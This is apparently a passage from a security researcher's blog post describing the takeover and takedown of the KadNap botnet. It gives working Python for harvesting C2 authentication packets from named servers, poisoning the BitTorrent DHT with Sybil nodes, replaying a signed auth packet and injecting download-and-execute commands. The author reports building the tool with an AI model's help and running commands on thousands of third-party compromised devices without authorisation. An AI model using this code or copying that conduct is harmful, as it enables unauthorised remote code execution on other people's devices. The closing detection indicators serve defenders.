Crippling KadNap
Here’s where the “clever cryptography” fell apart. The DSA-1024 signature verification looked robust at first glance - asymmetric crypto, verify-only on the bot, operator holds the private key. Near perfect math is also in use for their implementation too. However, the implementation had a critical design flaw: the DSA signature covered only the 32-byte session key, with no nonce, no timestamp, and no connection binding.
This means:
- The session key is chosen entirely by the C2 (the bot contributes zero entropy)
- Once a
(session_key, DSA_signature)pair is captured, it is valid forever on any bot - The bot had no mechanism to detect replay - it only checks
DSA_verify(SHA1(session_key), sig, pubkey) - Post-auth commands require only AES-ECB with the session key + CRC32C - no further signatures
Capture one auth packet, replay it everywhere. The operator signed the session key, and that signature never expires. - sECuriTy
Harvesting Auth Packets
Fresh DSA signatures (just in case) were harvested from live C2 servers in real-time. The C2 servers respond on ports derived from the current epoch’s info_hash - connect silently, receive the auth packet, send a plausible 32-byte bot response, disconnect. The attack tool I built with Claude’s help runs a background harvester thread that connects to known C2 IPs every 10 minutes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C2_SERVER_IPS = ["45.135.180.38", "79.141.168.43", "89.46.68.10"]
def harvest_c2_auth(c2_ip, port):
"""Connect to C2 as if we're a bot. C2 sends auth first and we capture it."""
sock = socket.create_connection((c2_ip, port), timeout=10)
# C2 protocol: peer sends first, we just listen
raw = read_packet(sock, timeout=15)
if not raw:
sock.close()
return None
# Decrypt with static key, extract DSA sig
payload = decrypt_packet(raw, AES_KEY)
dsa_info = extract_dsa_from_auth(payload)
# Send plausible bot response so C2 doesn't flag us
session_key = payload[:32]
bot_response = struct.pack(">BBHI IIII",
0x2b, # variant (compact ARM)
0x01, # version
0x0000, # padding
0x00101011, # build_id
int(time.monotonic() * 1000) & 0xFFFFFFFF, # mono_ms
3600, # uptime
int(time.time()), # wallclock
int(time.time()), # epoch
) + os.urandom(8) # arg3, arg4
sock.sendall(make_packet(bot_response, session_key))
sock.close()
return raw # Complete auth packet, ready for replay
45.135.180.38 was confirmed responding on epoch-derived ports. Alternatively, any previously captured pcap containing a C2 auth exchange provides a reusable signature.
The Sinkhole Attack - DHT Poisoning
The attack exploits the bot’s outbound-only design and lack of BEP-4212 node ID enforcement. The key mechanism for exploitation is Sybil node positioning and active peer injection.
First, generate node IDs that are XOR-close to the target info_hashes. Bots doing iterative get_peers walks toward the hash - if our node ID is close, we’re among the first nodes they query, moth to the flame:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def generate_sybil_ids(self, info_hashes, count=8):
"""Generate node IDs that are XOR-close to target info_hashes.
Bots doing iterative get_peers walk toward the hash. If our node ID
is close, we'll be among the first nodes they query. When they ask
us for peers, we inject our TCP listener IP in the values response - THEY COME TO US :)
"""
self._sybil_ids = []
for ih in info_hashes:
for i in range(count):
# Copy first 17-19 bytes of hash, randomize the rest
# This puts us within 2^(8-24) of the target - very close
prefix_len = random.randint(17, 19)
sybil = bytearray(ih[:prefix_len]) + bytearray(os.urandom(20 - prefix_len))
self._sybil_ids.append(bytes(sybil))
# Use the first sybil ID as primary node_id for maximum proximity
if self._sybil_ids:
self.node_id = self._sybil_ids[0]
When a bot queries for get_peers on the botnet hash, respond with our own IP injected as a peer - the bot has no choice but to connect to us:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def _handle_get_peers(self, txn, info_hash, addr):
"""Respond to get_peers with our IP injected as a peer."""
if info_hash in self._botnet_hashes:
# ACTIVE INJECTION: respond with our IP!
inject_port = self.hash_to_port.get(info_hash, self.listen_port)
peer_compact = socket.inet_aton(OUR_EXTERNAL_IP) + struct.pack("!H", inject_port)
# Use sybil ID closest to hash for credibility
reply_id = self._best_id_for(info_hash)
resp = bencode({
"t": txn, "y": "r",
"r": {
"id": reply_id,
"token": os.urandom(4),
"values": [peer_compact], # OUR IP injected!
},
})
self.sock.sendto(resp, addr)
Why the Sybil Attack Worked
- Bots use randomly generated node_ids from
/dev/urandom- no BEP-42 IP-based validation - Routing table: 160 buckets × 8 slots, no validation on node ID vs IP correspondence
- Bots accept ALL peers from
get_peersresponses without cap or validation - Pre-epoch positioning: announce on the next epoch’s hash 5 minutes before rotation to be ready when bots switch
Get on with it
The full attack chain in review:
1
2
3
4
5
6
7
8
9
10
11
1. Compute deterministic info_hash for current 3-hour epoch
2. Generate Sybil node IDs close to info_hash (XOR distance < 2^24)
3. Bootstrap into DHT, crawl toward hash, collect announce tokens
4. announce_peer on hash with our TCP listener port
5. Inject our IP in get_peers values responses (direct peer injection)
6. Bot discovers us via DHT → BT metadata exchange (~300ms, then RST)
7. Bot extracts C2 port from info_hash → connects to our IP on that porthttps://spur.us/
(silent TCP connect - arrives ~600s after DHT discovery due to throttle)
8. Detect silent connection (no BT handshake within 500ms) → send captured auth
9. Bot verifies DSA sig → accepts → sends 32-byte response → re-keys to our session key
10. Inject commands (CRC32C-checksummed, encrypted with session key)
The connection discriminator at step 8 is critical. Our TCP listener handles both BT peer wire connections (child process) and C2 connections (parent process) on the same port. The distinction is simple: BT connections start with \x13BitTorrent protocol within 500ms, C2 connections send nothing:
1
2
3
4
5
6
7
8
9
10
11
12
13
def handle_bot_connection(bot_sock, bot_addr, auth_raw, session_key):
# Try to read BT handshake (68 bytes, 0.5s timeout)
# BT child sends handshake immediately - C2 parent sends NOTHING
hs_data = recv_exact(bot_sock, 68, timeout=0.5)
if not hs_data:
# Silent connection - this is the C2 AES protocol
# Bot is waiting for us to send auth first
bot_sock.sendall(auth_raw) # Replay captured DSA-signed auth
# ... read response, re-key, inject commands
else:
hs = parse_bt_handshake(hs_data)
# ... handle BT metadata exchange (serve info dict, log peer_id)
This was confirmed working live on 2026-03-08. A compact ARM bot (variant 0x2b) accepted a replayed pcap auth signature and responded with its 32-byte identification containing variant ID and uptime data.
The bot’s 32-byte auth response reveals its identity:
1
[variant:1][version:1][pad:2][build_id:4][mono_ms:4][uptime:4][wallclock:4][epoch:4][arg3:4][arg4:4]
With a valid session key and the CRC32C checksum algorithm, command injection is straightforward:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def inject_c2_commands(bot_sock, session_key, inject_script=None):
if inject_script:
# Default: malware cleanup script goes here
script = (
b"#!/bin/sh\n"
b"# w00tw00t\n"
)
else:
script = (b"\n")
cmd, content = make_file_command(b'/tmp/fwr.sh', script, flags=0x05)
# Send command struct (272B) then file content, both AES-encrypted
bot_sock.sendall(make_packet(cmd, session_key))
time.sleep(0.3)
bot_sock.sendall(make_packet(content, session_key))
# Keep alive with heartbeats (272-byte all-zero command + CRC32C)
while True:
time.sleep(15)
ka_cmd = bytearray(272)
crc = _crc32c(bytes(ka_cmd[4:]))
struct.pack_into(">I", ka_cmd, 0, crc)
bot_sock.sendall(make_packet(bytes(ka_cmd), session_key))
With this exploit mechanism the following was possible:
- Deliver a replacement
.sosepointing backconnect targets to your own listener, hijacking/sinkhole the network’s SOCKS functionality. - Deliver and execute arbitrary shell scripts via the
fwr.shmechanism (flags0x05= download + execute) and use this to deliver a script that kills the bot process and cleans up persistence. - Enumerate the swarm - the bot’s auth response reveals variant, build ID, uptime, and wall clock, providing census data on the infected population.
The operator’s SSH lockout script (iptables -I INPUT -p tcp --dport 22 -j DROP) is periodically overwritten by the C2. But since I could impersonate the C2, I could deliver our own replacement.
Proof of RCE
I deployed my takedown script briefly on a public EC2 instance as a test and got a handful of nodes running command scripts I passed - simple ping and wget commands just to validate it was working. An example webhook response below:
I understand running commands on other live systems sits a morally grey line - I try to hold myself to a high standard. This was all done in service of eliminating or crippling a malware network, one exploiting both residential and corporate networking devices to profit. In my eyes - damn worth it.
Cope and Seethe
After constructing a resilient cleanup script that would target all known persistence and process mechanisms across various devices, I spun up four AWS instances across four regions and proceeded to kill the botnet one check-in at a time.
Within a few hours several thousand IPs disappeared from their store-front, in the proceeding twelve hours they were all basically offline.
These results gave new meaning to schadenfreude. They put out a message stating it was an issue with their hosting provider. I observed them switching malware distribution IPs in their hosted scripts and simply added it to the iptable blacklist command.
Shortly thereafter they took down their proxy offering page entirely with a Maintenance announcement.
As of writing they have finalized updates to their malware variants and appear to be spraying malicious attacks in an attempt at redeployment. They now use an upgraded DSA-2048 bit key, and unfortunately integrate the C2 peer IP in the SHA1 signature - making the replay attack no longer possible. I guess they caught on eventually.
Time will tell how much of their infrastructure will remain inaccessible to them after my attacks against their network.
Regardless, happy Friday the 13th KadNap/Doppelganger. I hope you enjoyed issuing refunds, deploying new infrastructure, and panic rewriting your codebase overnight.
Detection
For anyone looking to verify any remaining presence of the KadNap malware on their network at the time of writing:
Primary - Deterministic Info_Hash
The strongest signal. Compute the current 3-hour window’s info_hash using the algorithm discussed in this post and monitor DHT traffic for
get_peersqueries containing it. Any peer querying or advertising on the computed hash is participating in the botnet swarm. This is effectively a zero false-positive indicator.ANY connections to their new hard-coded fallback C2 IP:
193.46.217.14or more specifically port13791. I believe this was added to combat sinkholing with large sybil node announcements my scripts were making.
Secondary - BT Peer Wire Fingerprint
KadNap’s BT connections have distinctive signatures:
- Peer IDs:
-BM0001-(ARM) or-MC0008-/-MC4205-(MIPS) - though other IDs may exist - Extended handshake with ONLY
{m: {ut_metadata: 1}}- no version, no listen port, no other extensions - Connects, retrieves metadata, disconnects in ~300ms - never sends BT
REQUEST
Tertiary - Behavioural
- STUN queries → NTP sync → DHT bootstrap → specific hash lookups (in that order)
- TCP connections on ports 16385-65533 using AES-256-ECB with 4-byte cleartext header
- Files
/tmp/.soseand/tmp/fwr.shon compromised devices. - New malware variants use an
/tmp/.fbsrfor C2 binding - Dual process architecture with pipe IPC mechanism.
Closing Thoughts
KadNap is a mix of competent engineering wrapped around a fundamental blunder, by assumption or ignorance I don’t know. The DHT rendezvous system is genuinely clever - time-based deterministic hashing creates ephemeral, infrastructure-free meeting points that rotate 8 times per day. The forked dual-process architecture cleanly separates concerns while the DSA asymmetric verification can now prevent third party command injection.
But the auth replay oversight undermined everything. By signing only the session key, with no peer or epoch validation, a single captured authentication packet was a skeleton key for the entire botnet. Something that Zero Trust design principles have been yelling about relentlessly for years now. The post-auth command channel requires only AES-ECB with the known session key and a CRC32C checksum, both of which are trivially reproducible. Also the SOCKS5 proxy has zero authentication at all.
Sadly despite clean-up efforts, re-infection and redeployment of their botnet malware is still possible. To the individuals running KadNap: Get a job? You’re clearly not incompetent and seem capable of writing resilient low level system code.
As of writing, the botnet is still active, though with a substantially reduced IP count. The DHT rendezvous hashes continue to rotate every 3 hours, and any infected bots will still try to phone home through the public BitTorrent DHT or fallback to their hardcoded address.
If you or your team wants to verify if traffic hitting your infrastructure is KadNap - check out Spur Intelligence. The amazing team there are actively tracking them.








